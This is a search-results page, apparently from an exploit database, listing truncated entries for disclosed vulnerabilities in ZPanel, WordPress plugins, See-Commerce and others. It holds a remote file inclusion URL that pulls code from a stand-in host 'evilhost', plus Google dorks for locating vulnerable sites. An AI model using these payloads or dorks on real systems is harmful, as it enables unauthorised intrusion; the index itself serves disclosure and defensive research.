757 matches found
ZPanel <= 2.5 - Remote SQL Injection Exploit
No description provided by source. Tested and working /str0ke It is possible to include arbitrary file: local - in version ZPanel = 2.5 beta 10, remote - in ZPanel 2.0. exploit for v 2.0 http://localhost/zpanel/zpanel.php?page=http://evilhost/shell where http://evilhost/shell.php - evil php code...
See-Commerce <= 1.0.625 (owimg.php3) Remote Include Vulnerability
No description provided by source. See-Commerce Remote File Inclusion CreW: ToXiC Bug Found by Drago84 Source Code: http://freshmeat.net/redir/seecommerce/14016/urlzip/sc-1.0.625.zip Problem Is: require$path./ow.inc; Page Affect: http://site/see-commerce directory/owimg.php3?path=evil script Grea...
PowerPoint Viewer OCX 3.1 - Remote File Overwrite Exploit
No description provided by source. HTML ---------------------------------------------------------- br PowerPoint Viewer OCX v3.1 br ---------------------------------------------------------- br -----------------------------------br By Mountassif Moad a.k.a Stack...
MS Windows GDI+ - Proof of Concept (MS08-052) (2)
No description provided by source. ------------------------------------------------------------------------------------------------------------ Operating System: XP SP2 Gdiplus.dll Version: 5.1.3102.2180 Credit: John Smith, Evil Fingers GIF Template Reference:...
TSEP <= 0.942 (copyright.php) Remote Inclusion Vulnerability
No description provided by source. +-------------------------------------------------------------------- + + TSEP 0.9.4.2 + +-------------------------------------------------------------------- + + Affected Software .: TSEP 0.9.4.2 + Venedor ...........: http://www.tsep.info/ + Class ...............
open-medium.CMS <= 0.25 (404.php) Remote File Include Vulnerability
No description provided by source. DEVIL TEAM THE BEST POLISH TEAM open-medium 0.25 - Content Management System - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl code...
lastRSS autoposting bot MOD 0.1.3 'phpbb_root_path' Parameter Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/33843/info lastRSS autoposting bot MOD is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to include arbitrary remote...
Glossword <= 1.8.11 Arbitrary Uninstall / Install Vulnerability
No description provided by source. ----------------------------- Evil-Cod3r ------------------------------- ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || || &n...
Struts2 then exposed S2-0 2 0 patch bypass vulnerability – evil regular expressions-vulnerability warning-the black bar safety net
4 on 2 to 4 November, the network exposed in the article“Security researchers noted that the Apache Struts2 vulnerability Bulletin S2-0 2 0, in process repair CVE-2 0 1 4-0 0 9 4 bug fixes program vulnerability exists, resulting patch is completely bypassed.” Affected products: Struts 2.0.0 –...
Snoopy Drone Can Hack Your Smartphones
The use of unmanned aerial vehicles UAVS called Drones is rapidly transforming the way we go to war. Drones were once used for land surveillance, Delivering Pizza's, then equipped with bombs that changed the way nations conduct war and now these hovering drones are ready to hack your Smartphones...
kernel: security and bugfix update (important)
The Linux kernel was updated to fix various bugs and security issues: - mm/page-writeback.c: do not count anon pages as dirtyable memory reclaim stalls. - mm/page-writeback.c: fix dirtybalancereserve subtraction from dirtyable memory reclaim stalls. - compatsysrecvmmsg X32 fix bnc860993...
[Evil Foca] IPv4 and IPv6 Penetration testing tool
Evil Foca is a tool for Pentesters and Security Auditors to perform security testing in IPv4/ IPv6 data networks. The tool is capable to do different attacks such as: MITM on IPv4 networks using ARP Spoofing and DHCP ACK injection. MITM on IPv6 networks using Neighbor Advertisement Spoofing, SLAA...
Windows Media Player 9.0.0 Local Proof Of Concept Exploit
Exploit for windows platform in category dos / poc Title : Windows Media Player 9.0.0 Local Proof Of Concept Exploit Date: 2013-01-12 Software Link: http://windows.microsoft.com/fr-FR/windows/windows-media-player phone : +447024073406 Author: The Black Devils Tested on: Windows XP SP2 Home:...
am4ss Support System 1.2 PHP Code Injection Exploit
Exploit for php platform in category web applications 10/2011 , Vulnerability discovered till now , i haven't reported the vendor , why!!! The idiot backdoored it by himself + the official site is fucked up ; 19/07/2012 , Public Disclosured C:\labphp am4ss.php localhost /lab/am4ss/...
python-wrapper - Untrusted Search PathCode Execution
python-wrapper - Untrusted Search PathCode Execution python-wrapper untrusted search path/code execution vulnerability Python-wrapper executes any test.py script within the current working directory, when supplied with help'modules'. A non-priviledged user may gain code execution by tricking root...
Pro Clan Manager 0.4.2 Administrative Bypass / Shell Upload
=========================================== Pro Clan Manager 0.4.2 Mullti Vulnerability =========================================== Vendor: http://garr.dl.sourceforge.net/project/autoweb/Pro%20Clan%20Manager/0.4.2/proclanmanager.0.4.2.zip Date: 2012-06-06 Author : indoushka Tested on : windows SP...
Tor Browser Bundle for Linux (2.2.35-8) "EVIL bug"
"There is an EVIL bug in at least the Linux 2.2.35-8 Tor Browser Bundle start-tor-browser script. It will log things like domain names to a file in the root of the browser bundle." https://trac.torproject.org/projects/tor/ticket/5417 Ticket 5417 new defect RelativeLink.sh in Tor browser bundle ha...
Core FTP Server 1.2 Build 422 DoS exploit
Exploit for windows platform in category dos / poc Exploit Title: Core FTP Server 1.2 Build 422 remote DoS exploit Author: dmnt Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe Version: Core FTP Server 1.2 Build 422 Tested on: Windows 7 CVE : 0 day xdmnt 2012 -- coding:...
WordPress Comment Rating SQL Injection
No description provided by source. Exploit Title: Wordpress comment rating plugin multiple Vulnerabilities Google Dork: 1- inurl:"/wp-content/plugins/comment-rating/" 2- inurl:"/ck-processkarma.php?id=" Date: 2/1/2012 Author: The Evil Thinker Contact : [email protected] Software Link:...
WordPress Comment Rating Cross Site Scripting / SQL Injection
Exploit Title: Wordpress comment rating plugin multiple Vulnerabilities Google Dork: 1- inurl:"/wp-content/plugins/comment-rating/" 2- inurl:"/ck-processkarma.php?id=" Date: 2/1/2012 Author: The Evil Thinker Contact : [email protected] Software Link: www.wordpress.com Vulnerable plugin: Comme...